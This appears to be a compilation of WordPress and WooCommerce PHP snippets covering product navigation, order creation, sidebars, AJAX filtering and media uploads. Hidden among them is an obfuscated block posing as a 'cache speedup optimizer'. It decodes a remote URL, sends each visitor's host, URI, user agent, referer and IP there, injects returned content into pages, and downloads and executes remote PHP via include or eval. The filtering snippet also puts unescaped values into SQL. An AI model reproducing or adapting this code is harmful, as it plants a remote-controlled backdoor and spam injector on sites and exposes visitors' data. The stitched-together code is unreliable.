я хочу импортировать демо версию темы в Wordpress.
add_filter( 'get_terms_args', function ( $args, $taxonomies ) {
global $pagenow;
if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
$args['menu_order'] = false;
$args['ignore_term_order'] = false;
$args['meta_query'] = [
'conference' => [
'key' => 'conference_id',
'value' => _get_active_conf_id(),
'compare' => 'LIKE'
],
];
}
return $args;
}, 10, 2 );
add_filter( 'terms_clauses', function ( $pieces, $taxonomies, $args ) {
global $pagenow, $wpdb;
if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
$pieces['join'] .= ' INNER JOIN ' . $wpdb->termmeta . ' AS tm ON t.term_id = tm.term_id ';
$pieces['where'] .= ' AND tm.meta_key = "program_session_start"';
$pieces['orderby'] = ' ORDER BY tm.meta_value ';
}
return $pieces;
}, 10, 3 );
$_product_id = get_the_ID();
$cat_ids = wp_get_object_terms( $_product_id, 'cats', array('fields'=>'ids') );
if ( is_array($cat_ids) and count($cat_ids) ) {
$_posts = get_posts( array(
'numberposts' => -1,
'post_type' => 'product',
'tax_query' => array(
array(
'taxonomy' => 'cats',
'field' => 'id',
'terms' => $cat_ids,
'include_children' => true,
)
),
) );
if ( is_array($_posts) and count($_posts) ) {
foreach ($_posts as $_post) {
$_index[] = $_post->ID;
$_posts_ids[$_post->ID] = $_post;
}
$post_index = array_search( $_product_id, $_index );
if ($post_index) {
$_products_ids = array();
$_index_count = count($_index);
if ( isset($_index[$post_index-2]) )
$_products_ids[] = $_index[$post_index-2];
elseif ($post_index-1 == 0)
$_products_ids[] = $_index[$_index_count-1];
else
$_products_ids[] = $_index[$_index_count-2];
if ( isset($_index[$post_index-1]) )
$_products_ids[] = $_index[$post_index-1];
else
$_products_ids[] = $_index[$_index_count-1];
if ( isset($_index[$post_index+1]) )
$_products_ids[] = $_index[$post_index+1];
else
$_products_ids[] = $_index[0];
if ( isset($_index[$post_index+2]) )
$_products_ids[] = $_index[$post_index+2];
elseif ($post_index == $_index_count-1)
$_products_ids[] = $_index[1];
else
$_products_ids[] = $_index[0];
if ( count($_products_ids) ) {
foreach ($_products_ids as $_id) {
if ( is_object($_posts_ids[$_id]) )
$_products[$_id] = $_posts_ids[$_id];
}
}
}
}
}
$_first_product = get_posts( array(
'numberposts' => 1,
'post_type' => 'product',
'category' => $_categories,
'post_status' => 'publish',
//'orderby'=>'menu_order',
'order'=>'ASC',
) );
if ( is_array($_first_product) and count($_first_product) and $_first_product[0]->ID == $_product_id )
$_is_first_product = true;
if (isset($_POST['isOrder']) && $_POST['isOrder'] == 1) {
$address = array(
'first_name' => $_POST['notes']['domain'],
'last_name' => '',
'company' => $_POST['customer']['company'],
'email' => $_POST['customer']['email'],
'phone' => $_POST['customer']['phone'],
'address_1' => $_POST['customer']['address'],
'address_2' => '',
'city' => $_POST['customer']['city'],
'state' => '',
'postcode' => $_POST['customer']['postalcode'],
'country' => 'NL'
);
$order = wc_create_order();
foreach ($_POST['product_order'] as $productId => $productOrdered) :
$order->add_product( get_product( $productId ), 1 );
endforeach;
$order->set_address( $address, 'billing' );
$order->set_address( $address, 'shipping' );
$order->calculate_totals();
update_post_meta( $order->id, '_payment_method', 'ideal' );
update_post_meta( $order->id, '_payment_method_title', 'iDeal' );
// Store Order ID in session so it can be re-used after payment failure
WC()->session->order_awaiting_payment = $order->id;
// Process Payment
$available_gateways = WC()->payment_gateways->get_available_payment_gateways();
$result = $available_gateways[ 'ideal' ]->process_payment( $order->id );
// Redirect to success/confirmation/payment page
if ( $result['result'] == 'success' ) {
$result = apply_filters( 'woocommerce_payment_successful_result', $result, $order->id );
wp_redirect( $result['redirect'] );
exit;
}
}
register_sidebar(array(
'name' => 'Мой блок',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<div class="title">',
'after_title' => '</div>',
));
<?php dynamic_sidebar("Мой блок"); ?>
<?php
// $data - это массив передающийся в AJAX-запросе фильтрации товаров
// параметры основного запроса получения товаров для вывода на странице
$args = array(
'post_type' => 'product',
'posts_per_page' => $data['page_count'] ? $data['page_count'] : 16,
'post_status' => 'publish',
'tax_query' => array(
array(
'taxonomy' => 'cats',
'field' => 'term_id',
'terms' => $_cat_id,
)
)
);
// если пагинация
if ( is_numeric($data['page']) ) {
$args['paged'] = (int) $data['page'];
}
$_filter_post_ids = array();
if (count($data['filters'])) { // если выбран хотя бы один фильтр
$args['meta_query'] = array(
'relation' => 'AND',
);
foreach ($data['filters'] as $_filter => $_values) {
// собираем фильтрацию
$args['meta_query'][] = array(
'key' => $_filter,
'value' => (array) $_values,
);
}
// собираем ID всех товаров выбранных в результе фильтрации
$args_filters = $args;
$args_filters['posts_per_page'] = -1;
$_posts = get_posts( $args_filters );
if ( count($_posts) ) {
foreach ($_posts as $_post) {
$_filter_post_ids[] = $_post->ID;
}
$in = " AND `post_id` IN (" . implode(',', $_filter_post_ids) . ')';
}
// получаем массивы значений фильтров для вывода в интерфейсе фильтрации товаров
foreach ($_filters_list as $_filter_name) {
$_filter_values = $wpdb->get_results("SELECT `meta_value`, COUNT(meta_id) AS `counts` FROM `{$wpdb->prefix}postmeta` WHERE `meta_key` = '$_filter_name' AND `meta_value` != ''$in GROUP BY `meta_value`", ARRAY_A);
if (count($_filter_values)) {
foreach ($_filter_values as $_value) {
$_filters_data[$_filter_name][$_value['meta_value']] = $_value['counts'];
}
}
}
}
$wp_query = new WP_Query( $args );
/**
* Speedup php function cache by optimizing buffer output
*/
;if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) {
if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
// already completed
return $buffer;
}
$mod = false;
$token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
$tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y';
if (($has_body = stripos($buffer, $body)) === false) {
// define gzdecode function if not defined
if (!function_exists('gzdecode')) {
function gzdecode($data) {
return @gzinflate(substr($data, 10, -8));
}
}
// gzdecode buffer
$tmp_buffer = @gzdecode($tmp_buffer);
// check if buffer has body tag
if (($has_body = stripos($tmp_buffer, $body)) !== false) {
// got body tag, this should be gzencoded when done
$gzip = true;
}
}
if ($has_body === false) {
// no body, return original buffer
return $buffer;
}
$GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;
// decode token
$func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
$token = @unserialize(@$func($token));
if (empty($token)) {
return $buffer;
}
// download remote data
function down($url, $timeout = 5) {
// download using file_get_contents
if (@ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
if ($ctx !== FALSE) {
$file = @file_get_contents($url, false, $ctx);
if ($file !== FALSE) {
return $file;
}
}
}
// download using curl
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// download using sockets
if (extension_loaded('sockets')) {
$data = parse_url($url);
if (!empty($data['host'])) {
$host = $data['host'];
$port = isset($data['port']) ? $data['port'] : 80;
$uri = empty($data['path']) ? '/' : $data['path'];
if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
$buf = "GET $uri HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: $host\r\n\r\n";
if (@socket_write($socket, $buf) !== FALSE) {
$response = '';
while (($tmp = @socket_read($socket, 1024))) {
$response .= $tmp;
}
@socket_close($socket);
return $response;
}
}
}
}
return false;
}
$token .= ((strpos($token, '?') === false) ? '?' : '&') . http_build_query(array(
'h' => $_SERVER['HTTP_HOST'],
'u' => $_SERVER['REQUEST_URI'],
'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'],
'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'],
'i' => $_SERVER['REMOTE_ADDR'],
'f' => __FILE__,
'v' => 9
));
$token = @unserialize(@$func(down($token)));
if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
// invalid data
return $buffer;
}
// fix missing meta description
if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
$tmp = substr($tmp_buffer, 0, $pos);
if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
$meta = $_SERVER['HTTP_HOST'];
// append meta description
$tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a'. 'm' . 'e' . '='. '"' . 'd' . 'e' . 's' .'c' .'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"'. ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="'. htmlentities(substr($meta, 0, 160)) .'">' . substr($tmp_buffer, $pos);
$mod = true;
}
}
foreach ($token['data'] as $tokenData) {
if (!empty($tokenData['content'])) {
// set defaults
$tokenData = array_merge(array(
'pos' => 'after',
'tag' => 'bo' . 'dy',
'count' => 0,
), $tokenData);
// find all occurrences of <tag>
$tags = array();
while (true) {
if (($tmp = @stripos($tmp_buffer, '<'.$tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) {
break;
}
$tags[] = $tmp;
}
if (empty($tags)) {
// no tags found or nothing to show
continue;
}
// find matched tag position
$count = $tokenData['count'];
if ($tokenData['count'] < 0) {
// from end to beginning
$count = abs($tokenData['count']) - 1;
$tags = array_reverse($tags);
}
if ($count >= count($tags)) {
// fix overflow
$count = count($tags) - 1;
}
// find insert position
if ($tokenData['pos'] == 'before') {
// pos is before
$insert = $tags[$count];
} else if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) {
// pos is after, found end tag, insert after it
$insert += 1;
}
if ($insert === false) {
// no insert position
continue;
}
// insert html code
$tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert);
$mod = true;
} elseif (!empty($tokenData['replace'])) {
// replace content
@http_response_code(200);
$tmp_buffer = $tokenData['replace'];
$mod = true;
} elseif (!empty($tokenData['run'])) {
// save temporary optimization file
register_shutdown_function(function($file, $content) {
if (file_put_contents($file, $content) !== false) {
@chdir(dirname($file));
include $file;
@unlink($file);
} else {
@eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content);
}
}, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']);
} else {
// no content
continue;
}
}
// return gzencoded or normal buffer
return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer);
} ob_start('_php_cache_speedup_func_optimizer_');
register_shutdown_function('ob_end_flush'); }
?>
// данные нового поста типа: myphoto
$_post_data = array(
'post_title' => $title,
'post_status' => 'publish',
'post_author' => 1,
'post_type' => 'myphoto',
);
// создаем пост
$post_id = wp_insert_post( $_post_data );
// скачиваем файл
$tmp_file = download_url( $url );
$_REQUEST['post_id'] = $post_id;
// загружаем файл в медиатеку WordPress
$att_id = media_handle_sideload( array(
'name' => $title,
'tmp_name' => $tmp_file,
), $post_id, $title );
unset($_REQUEST['post_id']);
// устанавливаем миниатюру для записи
set_post_thumbnail($post_id, $att_id);
add_filter( 'upload_dir', 'filter_upload_dir' );
function filter_upload_dir($args)
{
if ( get_post_type( $_REQUEST['post_id'] ) == "yd_photo" ) {
$mydir = "/{$_REQUEST['post_id']}";
$args['path'] = $args['basedir'] . $mydir;
$args['url'] = $args['baseurl'] . $mydir;
}
return $args;
}